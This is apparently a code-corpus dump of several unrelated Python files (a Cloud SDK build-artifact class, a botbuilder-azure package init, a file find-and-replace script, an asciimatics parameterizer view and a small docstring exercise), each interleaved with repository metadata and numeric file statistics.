}, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.8.8" } }, "nbformat": 4, "nbformat_minor": 5 }
26.920245
162
0.499088
509
4,388
4.212181
0.308448
0.041978
0.039179
0.068563
0.30597
0.217351
0.204291
0.182369
0.163246
0.113806
0
0.056808
0.261851
4,388
162
163
27.08642
0.605125
0
0
0.283951
0
0.024691
0.690975
0.154057
0
0
0
0
0
1
0
true
0
0.018519
0
0.018519
0.04321
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
212ed125854dcd7316ba86ed7edfa8d957384769
2,733
py
Python
lib/googlecloudsdk/api_lib/app/build.py
bshaffer/google-cloud-sdk
f587382fd112f238c0d6d5ca3dab8f52d2b5c5f9
[ "Apache-2.0" ]
null
null
null
lib/googlecloudsdk/api_lib/app/build.py
bshaffer/google-cloud-sdk
f587382fd112f238c0d6d5ca3dab8f52d2b5c5f9
[ "Apache-2.0" ]
null
null
null
lib/googlecloudsdk/api_lib/app/build.py
bshaffer/google-cloud-sdk
f587382fd112f238c0d6d5ca3dab8f52d2b5c5f9
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # # Copyright 2018 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Utility classes for interacting with the Cloud Build API.""" from __future__ import absolute_import from __future__ import division from __future__ import unicode_literals import enum from googlecloudsdk.api_lib.cloudbuild import build class BuildArtifact(object): """Represents a build of a flex container, either in-progress or completed. A build artifact is either a build_id for an in-progress build, the image name for a completed container build, or options for the build to be created elsewhere. """ class BuildType(enum.Enum): IMAGE = 1 BUILD_ID = 2 BUILD_OPTIONS = 3 def __init__(self, build_type, identifier, build_op=None): self.build_type = build_type self.identifier = identifier self.build_op = build_op def IsImage(self): return self.build_type == self.BuildType.IMAGE def IsBuildId(self): return self.build_type == self.BuildType.BUILD_ID def IsBuildOptions(self): return self.build_type == self.BuildType.BUILD_OPTIONS @classmethod def MakeBuildIdArtifact(cls, build_id): return cls(cls.BuildType.BUILD_ID, build_id) @classmethod def MakeImageArtifact(cls, image_name): return cls(cls.BuildType.IMAGE, image_name) @classmethod def MakeBuildOptionsArtifact(cls, build_options): return cls(cls.BuildType.BUILD_OPTIONS, build_options) @classmethod def MakeBuildIdArtifactFromOp(cls, build_op): build_id = build.GetBuildProp(build_op, 'id', required=True) return cls(cls.BuildType.BUILD_ID, build_id, build_op) @classmethod def MakeImageArtifactFromOp(cls, build_op): """Create Image BuildArtifact from build operation.""" source = build.GetBuildProp(build_op, 'source') for prop in source.object_value.properties: if prop.key == 'storageSource': for storage_prop in prop.value.object_value.properties: if storage_prop.key == 'object': image_name = storage_prop.value.string_value if image_name is None: raise build.BuildFailedError('Could not determine image name') return cls(cls.BuildType.IMAGE, image_name, build_op)
32.927711
78
0.745335
377
2,733
5.246684
0.371353
0.03185
0.032861
0.053084
0.152679
0.139535
0.139535
0.121335
0.044489
0
0
0.005314
0.173802
2,733
82
79
33.329268
0.870682
0.342115
0
0.113636
0
0
0.032405
0
0
0
0
0
0
1
0.204545
false
0
0.113636
0.136364
0.545455
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
21333cf0a3056c7806621055d36ff013c423eebf
506
py
Python
libraries/botbuilder-azure/botbuilder/azure/__init__.py
awaemmanuel/botbuilder-python
bcc85a49f1426ccf682205566fd03937ee6d315c
[ "MIT" ]
1
2019-05-31T10:55:15.000Z
2019-05-31T10:55:15.000Z
libraries/botbuilder-azure/botbuilder/azure/__init__.py
awaemmanuel/botbuilder-python
bcc85a49f1426ccf682205566fd03937ee6d315c
[ "MIT" ]
null
null
null
libraries/botbuilder-azure/botbuilder/azure/__init__.py
awaemmanuel/botbuilder-python
bcc85a49f1426ccf682205566fd03937ee6d315c
[ "MIT" ]
null
null
null
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # -------------------------------------------------------------------------- from .about import __version__ from .cosmosdb_storage import CosmosDbStorage, CosmosDbConfig __all__ = ['CosmosDbStorage', 'CosmosDbConfig', '__version__']
36.142857
76
0.51581
39
506
6.358974
0.769231
0.233871
0
0
0
0
0
0
0
0
0
0.002283
0.134387
506
13
77
38.923077
0.563927
0.618577
0
0
0
0
0.215054
0
0
0
0
0
0
1
0
false
0
0.4
0
0.4
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
2133a16b8ad9a22da30aef5b2b7ac1c52e80d4b1
248
py
Python
collect_data/source_scripts/replace.py
jaklinger/nesta_dataflow
5d5647dd8d900a40b460bae0841f7d917e53ae08
[ "MIT" ]
null
null
null
collect_data/source_scripts/replace.py
jaklinger/nesta_dataflow
5d5647dd8d900a40b460bae0841f7d917e53ae08
[ "MIT" ]
null
null
null
collect_data/source_scripts/replace.py
jaklinger/nesta_dataflow
5d5647dd8d900a40b460bae0841f7d917e53ae08
[ "MIT" ]
null
null
null
import sys if len(sys.argv) == 4: find=sys.argv[1] replace=sys.argv[2] with open(sys.argv[3]) as f: text = f.read() text = text.replace(find,replace) with open(sys.argv[3],"w") as f: f.write(text)
19.076923
41
0.53629
41
248
3.243902
0.463415
0.263158
0.165414
0.225564
0.240602
0
0
0
0
0
0
0.028736
0.298387
248
12
42
20.666667
0.735632
0
0
0
0
0
0.004032
0
0
0
0
0
0
1
0
false
0
0.111111
0
0.111111
0
0
0
0
null
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
213d929a3c980e9fe834f7fa747acce8f309753a
1,314
py
Python
views/parameterizer/state.py
computablelabs/compas
fbde4e2ef61ebadc5ffd6453bff60f678e6002d6
[ "MIT" ]
1
2019-10-24T19:16:10.000Z
2019-10-24T19:16:10.000Z
views/parameterizer/state.py
computablelabs/compas
fbde4e2ef61ebadc5ffd6453bff60f678e6002d6
[ "MIT" ]
7
2019-10-31T14:55:07.000Z
2019-12-11T19:29:15.000Z
views/parameterizer/state.py
computablelabs/compas
fbde4e2ef61ebadc5ffd6453bff60f678e6002d6
[ "MIT" ]
null
null
null
from asciimatics.widgets import Label, Divider, Text from viewmodels.parameterizer.state import State """ Our subviews simply take a layout and inject their content into it """ def inject_parameterizer_state(layout, col=0): layout.add_widget(Label('Parameterizer'), col) layout.add_widget(Divider(line_char='-'), col) layout.add_widget(Text('Address:', 'p11r_address'), col) layout.add_widget(Text('Owner:', 'p11r_owner'), col) layout.add_widget(Text('Cost Per Byte:', 'p11r_cost_per_byte'), col) layout.add_widget(Text('Stake:', 'p11r_stake'), col) layout.add_widget(Text('Price Floor:', 'p11r_price_floor'), col) layout.add_widget(Text('Spread:', 'p11r_spread'), col) layout.add_widget(Text('List Reward:', 'p11r_list_reward'), col) layout.add_widget(Text('Plurality:', 'p11r_plurality'), col) layout.add_widget(Text('Vote By:', 'p11r_vote_by'), col) layout.add_widget(Text('Maker Payment:', 'p11r_maker_payment'), col) layout.add_widget(Text('Datatrust Payment:', 'p11r_backend_payment'), col) layout.add_widget(Text('Reserve Payment:', 'p11r_reserve_payment'), col) def hydrate_parameterizer_state(data={}): """ Given a dictionary, allow the viewmodel to hydrate the data needed by this view """ vm = State() return vm.hydrate(data)
46.928571
83
0.716895
182
1,314
4.961538
0.340659
0.139535
0.232558
0.259136
0.307863
0.06423
0
0
0
0
0
0.021949
0.133181
1,314
27
84
48.666667
0.770852
0.060122
0
0
0
0
0.281223
0
0
0
0
0
0
1
0.1
false
0
0.1
0
0.25
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
214511c4cd0cdead39b7751f6dc7a9b5431be393
363
py
Python
PythonLearn/test/after_fix_style.py
OKKyu/PythonLearn
48dc4cc2a1a34d99b09f8d37a5566d448dcf987c
[ "MIT" ]
null
null
null
PythonLearn/test/after_fix_style.py
OKKyu/PythonLearn
48dc4cc2a1a34d99b09f8d37a5566d448dcf987c
[ "MIT" ]
null
null
null
PythonLearn/test/after_fix_style.py
OKKyu/PythonLearn
48dc4cc2a1a34d99b09f8d37a5566d448dcf987c
[ "MIT" ]
null
null
null
#!python3 # -*- coding:utf-8 -*- ''' this code is a sample of code for learn how to use python test modules. ''' def aaa(): ''' printing tree ! mark. ''' print("!!!") def bbb(): ''' printing tree chars. ''' print("BBB") def ccc(): ''' printing number with loop. ''' for i in range(5): print(i)
12.964286
72
0.487603
45
363
3.933333
0.755556
0.135593
0
0
0
0
0
0
0
0
0
0.012397
0.333333
363
27
73
13.444444
0.719008
0.471074
0
0
0
0
0.045802
0
0
0
0
0
0
1
0.428571
false
0
0
0
0.428571
0.428571
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
1
0
2